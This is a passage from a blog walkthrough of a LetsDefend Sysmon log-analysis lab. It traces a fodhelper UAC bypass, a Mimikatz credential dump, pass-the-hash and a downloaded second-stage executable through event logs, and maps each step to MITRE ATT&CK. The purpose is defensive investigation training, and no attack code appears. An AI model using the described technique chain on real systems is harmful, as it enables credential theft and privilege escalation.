1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/cd8bb6615323c38da7da477e768d5f1d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Filter Payload Data3 by IDM.exe&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re more comfortable in the &lt;em&gt;Event Viewer&lt;/em&gt;, here is the same event that we located in &lt;em&gt;Timeline Explorer:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/54a239ee694e6a403390c79bf22c1a56_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pulling back to a high-level overview, let&amp;rsquo;s simply search &lt;em&gt;Timeline Explorer&lt;/em&gt; for &lt;em&gt;fodhelper.exe.&lt;/em&gt; This not only gives us a better view of the sequence of events and relationships between the processes but also to see the &lt;em&gt;Registry Key&lt;/em&gt; accessed by &lt;em&gt;fodhelper.exe.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;960px&#34; data-flex-grow=&#34;400&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/6016f36eea3c9b05471c7bfe8bfa3f94_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/6016f36eea3c9b05471c7bfe8bfa3f94_MD5_hu_c30ad847078687e3.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/6016f36eea3c9b05471c7bfe8bfa3f94_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Because the This &lt;em&gt;Registry&lt;/em&gt; location matches the location documented in the &lt;em&gt;Atomic Red Team&lt;/em&gt; report, we can confidently say that we found the answer to &lt;strong&gt;Question 3!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;272px&#34; data-flex-grow=&#34;113&#34; height=&#34;689&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/e4ed47d6e8efd33afdfed3cc28a5326d_MD5.png&#34; width=&#34;781&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4---bypass-uac-using-fodhelper---powershell&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4&amp;mdash;bypass-uac-using-fodhelper&amp;mdash;powershell&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2028px&#34; data-flex-grow=&#34;845&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a8bd969eb89a04c046b68687cff00b0c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a8bd969eb89a04c046b68687cff00b0c_MD5_hu_48a997b813c183d.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a8bd969eb89a04c046b68687cff00b0c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-attacker-dropped-a-file-what-is-the-file-location&#34;&gt;Question 4: The attacker dropped a file. What is the file location?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let&amp;rsquo;s continue investigating within &lt;em&gt;Timeline Explorer,&lt;/em&gt; this time, filtering on &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-11-filecreate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 11: File Create&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; According to the &lt;em&gt;Sysmon&lt;/em&gt; &lt;em&gt;documentation&lt;/em&gt;, this event captures file creation events and is &amp;quot; # &amp;ldquo;useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places malware drops during initial infection.&amp;ldquo;Once we have the Event ID filter, scroll over to the &lt;em&gt;RuleName&lt;/em&gt; column and type &lt;strong&gt;Downloads.&lt;/strong&gt; Applying these two options will show us the audited file creation events and filter on the term &lt;em&gt;downloads,&lt;/em&gt; including the downloads directory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;462px&#34; data-flex-grow=&#34;192&#34; height=&#34;623&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b1763ae5ee9a681ccfd23e2975f76e55_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b1763ae5ee9a681ccfd23e2975f76e55_MD5_hu_379a798e131688dc.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b1763ae5ee9a681ccfd23e2975f76e55_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right away, we see a red flag — &lt;em&gt;mimikatz.exe&lt;/em&gt;. If you aren&amp;rsquo;t familiar with &lt;strong&gt;Mimikatz&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; here is a quick summary from the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; knowledge base:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;[&amp;rdquo; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.](&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/%29%22&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/)&#34;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s submit the flag and learn more about what techniques &lt;em&gt;Mimikatz&lt;/em&gt; uses.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1608px&#34; data-flex-grow=&#34;670&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b6de20a1cdf6d201870e7283766f9ff7_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b6de20a1cdf6d201870e7283766f9ff7_MD5_hu_1296417674c5f617.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b6de20a1cdf6d201870e7283766f9ff7_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-are-the-technique-name-and-id-used-by-the-droppedexe&#34;&gt;Question 5: What are the technique name and ID used by the dropped EXE?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we need to first answer the question: &lt;strong&gt;What is Mimikatz used for&lt;/strong&gt;? In the previous question, I linked the description from &lt;em&gt;MITRE ATT&amp;amp;CK,&lt;/em&gt; but let&amp;rsquo;s focus on one detail: &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mimikatz is a credential dumper&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This description of the tool gives us the answer — the most applicable &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; technique is &lt;strong&gt;Credential Dumping&lt;/strong&gt; (&lt;em&gt;MITRE ATT&amp;amp;CK — T1003&lt;/em&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/&#34;  title=&#34;https://attack.mitre.org/techniques/T1003/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;OS Credential Dumping&lt;/strong&gt;&#xA;_Active Directory Active Directory Object Access Monitor domain controller logs for replication requests and other&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1548px&#34; data-flex-grow=&#34;645&#34; height=&#34;186&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a5f69603d3e3c23bb4862a8c6d41ddc5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a5f69603d3e3c23bb4862a8c6d41ddc5_MD5_hu_b4919887d082f3c0.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/a5f69603d3e3c23bb4862a8c6d41ddc5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-theattack&#34;&gt;Question 6: What is the name of the attack?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve already determined that &lt;em&gt;Mimikatz&lt;/em&gt; is a credential dumper, but to answer &lt;strong&gt;Question 6&lt;/strong&gt;, we need to figure out what the adversary did with the stolen credentials. Let&amp;rsquo;s jump back to the &lt;em&gt;Mimikatz&lt;/em&gt; software page on &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; to learn more about any techniques associated with it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  title=&#34;https://attack.mitre.org/software/S0002/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mimikatz&lt;/strong&gt;&#xA;_Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll focus on the &lt;strong&gt;Techniques Used&lt;/strong&gt; section of the software page. &lt;em&gt;Mimikatz&lt;/em&gt; has lots of listed capabilities but there is one it is infamous for facilitating. We can cheese this a little bit by looking at the answer format to narrow down the results, too.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/b13f45f63a66722413840e70199738b4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1550/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Pass the Hash&lt;/strong&gt;&lt;/a&gt;! This is a technique where an attacker can access and dump credential data, like &lt;em&gt;NLTM hashes&lt;/em&gt;, from the &lt;strong&gt;Local Security Authority Subsystem Service (LSASS)&lt;/strong&gt; process in &lt;em&gt;Windows&lt;/em&gt; and then &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;pass&amp;rdquo;&#xA;the stolen hash instead of providing the password to authenticate as that user. This way, it&amp;rsquo;s possible to elevate privileges or move laterally through the target environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1617px&#34; data-flex-grow=&#34;674&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5327a8237eb17ca9b594ee97c003f4c4_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5327a8237eb17ca9b594ee97c003f4c4_MD5_hu_e7dcc2d2360bdfe5.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/5327a8237eb17ca9b594ee97c003f4c4_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-exe-did-the-attacker-run-using-elevated-privileges-from-the-aboveattack&#34;&gt;Question 7: What EXE did the attacker run using elevated privileges from the above attack?&#xA;&lt;/h3&gt;&lt;p&gt;Now back to &lt;em&gt;Timeline Explorer!&lt;/em&gt; We&amp;rsquo;ll approach &lt;strong&gt;Question 7&lt;/strong&gt; by searching for &lt;em&gt;Mimikatz&lt;/em&gt; to determine if it spawned any child processes, potentially using the &lt;em&gt;Pass the Hash&lt;/em&gt; technique to elevate privileges of the child process.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1000px&#34; data-flex-grow=&#34;416&#34; height=&#34;288&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/4244d5ebcf938a0287821b17f5b56a9a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/4244d5ebcf938a0287821b17f5b56a9a_MD5_hu_c27ade9d5a5ad191.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/4244d5ebcf938a0287821b17f5b56a9a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we enter &amp;quot; # &amp;ldquo;mimikatz&amp;quot;into the search, we&amp;rsquo;ll stumble on something interesting — &lt;em&gt;mimikatz.exe&lt;/em&gt; has spawned a &lt;strong&gt;powershell.exe&lt;/strong&gt; process. Let&amp;rsquo;s examine the payload contents:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;591px&#34; data-flex-grow=&#34;246&#34; height=&#34;487&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/fcd90ab08487eb3d3babda49df57efa4_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/fcd90ab08487eb3d3babda49df57efa4_MD5_hu_c418094866ecf7b2.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/fcd90ab08487eb3d3babda49df57efa4_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer View&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;285px&#34; data-flex-grow=&#34;119&#34; height=&#34;672&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/3e289bf1036ff9ccb43c180b93124c35_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Viewer View&lt;/p&gt;&#xA;&lt;p&gt;Notice the &lt;strong&gt;IntegrityLevel&lt;/strong&gt; with the value of &lt;strong&gt;High?&lt;/strong&gt; Because &lt;em&gt;mimikatz.exe (PID 4988)&lt;/em&gt; is the parent process, this tells us that &lt;em&gt;PowerShell&lt;/em&gt; was executed with elevated, administrative level privileges — We&amp;rsquo;ve found the answer to &lt;strong&gt;Question 6!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1617px&#34; data-flex-grow=&#34;674&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/e6f670d2f13ddc0586284382f59e86de_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/e6f670d2f13ddc0586284382f59e86de_MD5_hu_48eda2e010607b4.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/e6f670d2f13ddc0586284382f59e86de_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-attacker-downloaded-and-ran-a-file-what-is-the-filename&#34;&gt;Question 8: The attacker downloaded and ran a file. What is the filename?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we&amp;rsquo;ve made it to the last question! Let&amp;rsquo;s hunt for the next file the attacker downloaded. For this, we&amp;rsquo;ll set up the same filters that we did for &lt;strong&gt;Question 4 —&lt;/strong&gt; filtering on &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-11-filecreate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 11: File Create&lt;/strong&gt;&lt;/a&gt; and entering &lt;strong&gt;Downloads&lt;/strong&gt; in the &lt;em&gt;RuleName&lt;/em&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;460px&#34; data-flex-grow=&#34;192&#34; height=&#34;625&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/c7932d5d69df772b21ad56fc98879082_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/c7932d5d69df772b21ad56fc98879082_MD5_hu_3365abebcd51ab3f.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/c7932d5d69df772b21ad56fc98879082_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right below the &lt;em&gt;mimikatz&lt;/em&gt;.exe that we found earlier, we&amp;rsquo;ll see evidence of second executable that&amp;rsquo;s created:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This seems promising. Now, we need to determine if the attacker ran it to confirm that we have found the correct answer. To do this, let&amp;rsquo;s filter the &lt;em&gt;Event ID&lt;/em&gt; column by &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-1-process-creation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 1 (Process Creation&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;)&lt;/strong&gt; in and then search for:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;012e382049b88808e2d0b26e016dc189f608deea9b6cc993ce24a57c99dd93d1.exe&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;829px&#34; data-flex-grow=&#34;345&#34; height=&#34;347&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/88c4643a5c7fbc95b3e5c3d8feac262d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/88c4643a5c7fbc95b3e5c3d8feac262d_MD5_hu_96fc72573ad50ad9.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/88c4643a5c7fbc95b3e5c3d8feac262d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the filtering in place, we can confirm that the attacker leveraged &lt;em&gt;PowerShell&lt;/em&gt; to download this &lt;em&gt;second stage payload&lt;/em&gt; and used the &lt;strong&gt;&lt;em&gt;Start-Process&lt;/em&gt;&lt;/strong&gt; cmdlet to execute it_._ Great job! Let&amp;rsquo;s submit the flag and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/839f3bc4d78214dbd07b3d3901315cea_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/839f3bc4d78214dbd07b3d3901315cea_MD5_hu_1871526a386013d7.png 800w, https://stumblesec.com/posts/letsdefend-log-analysis-with-sysmon-walkthrough/839f3bc4d78214dbd07b3d3901315cea_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! Using the &lt;em&gt;Sysmon&lt;/em&gt; logs, we&amp;rsquo;ve successfully identified the binaries used for initial access, defense evasion, credential access, privilege escalation, and the second-stage malware. During the investigation, we turned to &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; to reveal more details about each of these techniques to better understand how the adversary was attacking the victim&amp;rsquo;s device. Now that we have scoped the attack and completed our objectives let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Log Analysis with Sysmon&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another engaging and challenging lab scenario. This was a really fun challenge for me as I&amp;rsquo;ve never had the opportunity to leverage &lt;em&gt;Sysmon&lt;/em&gt; in an investigation despite testing and deploying it fairly often. I chose this one to get some reps in with the logging it provides so that when I need it in the real world, I&amp;rsquo;ll have that practice. I also really appreciated that this investigation required some use of &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; to add context to the answers; in addition to being needed to answer one of the questions. Personally, thinking in terms of &lt;em&gt;TTPs&lt;/em&gt; helps me organize my thoughts during an investigation, so this was also really good practice. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Sysmon:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Sysinternals:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools (EvtxECMD &amp;amp; Timeline Explorer):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sysmon Events Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#events&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Atomic Red Team — T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4---bypass-uac-using-fodhelper---powershell&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.atomicredteam.io/atomic-red-team/atomics/T1548.002#atomic-test-4&amp;mdash;bypass-uac-using-fodhelper&amp;mdash;powershell&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1548/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Mimikatz (S0002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — OS Credential Dumping (T1003):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Use Alternate Authentication Material: Pass the Hash (T1550.002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1550/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    